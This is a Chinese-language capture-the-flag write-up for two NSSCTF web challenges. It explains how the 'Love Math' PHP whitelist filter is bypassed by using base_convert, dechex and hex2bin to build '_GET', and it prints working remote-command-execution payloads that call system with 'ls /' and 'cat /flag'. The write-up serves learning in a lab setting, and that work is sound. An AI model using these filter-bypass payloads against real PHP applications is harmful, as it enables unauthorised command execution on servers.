Bootstrap

NSSCTF-Web题目25(RCE-构造变量)

目录

[CISCN 2019初赛]Love Math

1、题目

2、知识点

3、思路

[SWPUCTF 2023 秋季新生赛]If_else

1、题目

2、知识点

3、思路


[CISCN 2019初赛]Love Math

1、题目

2、知识点

构造变量,进制转换、函数利用

3、思路

打开题目,出现源码

代码的意思:GET方式上传变量c,但长度有限制,不能超过80,然后对输入的字符进行了过滤,有一个函数的白名单,只能用里面的函数

如果我们直接使用system函数,cat flag会被过滤

这里的思路就是利用PHP特性($_GET)构造一个变量

使用到的函数有:

base_convert() 函数:在任意进制之间转换数字

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符

dechex() 函数:把十进制转换为十六进制

因为白名单只有base_convert,没有hex2bin,所以我们需要进行编码调用base_convert(37907361743,10,36) => "hex2bin"

dechex(1598506324) => "5f474554"  

hex2bin(5f474554)=>"_GET" //hex2bin将一串16进制数转换为二进制字符串

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

base_convert(37907361743,10,36)(dechex(1598506324))  =>  _GET ,然后赋给pi变量,也就是pi=_GET,

($$pi){pi}=>$_GET[pi]   (($$pi){abs} =>$_GET[abs]

也是说我们可以在pi变量和abs执行系统命令

构造的payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

得到flag:NSSCTF{664726e2-a73b-4290-85b9-96c0208575d4}


[SWPUCTF 2023 秋季新生赛]If_else

1、题目

2、知识点

命令执行

3、思路

题目给了我们提示,要上传一个check变量,然后访问check.php页面

出现提示的页面,然后这里面没有我们可以上传的点,只有check变量,我们在check变量执行系统命令

得到flag:NSSCTF{512a871a-55dc-4921-8da5-bd2bb6cb89e2}


这篇文章就先记录到这里了,哪里不懂的或者哪里不足的欢迎指出!

;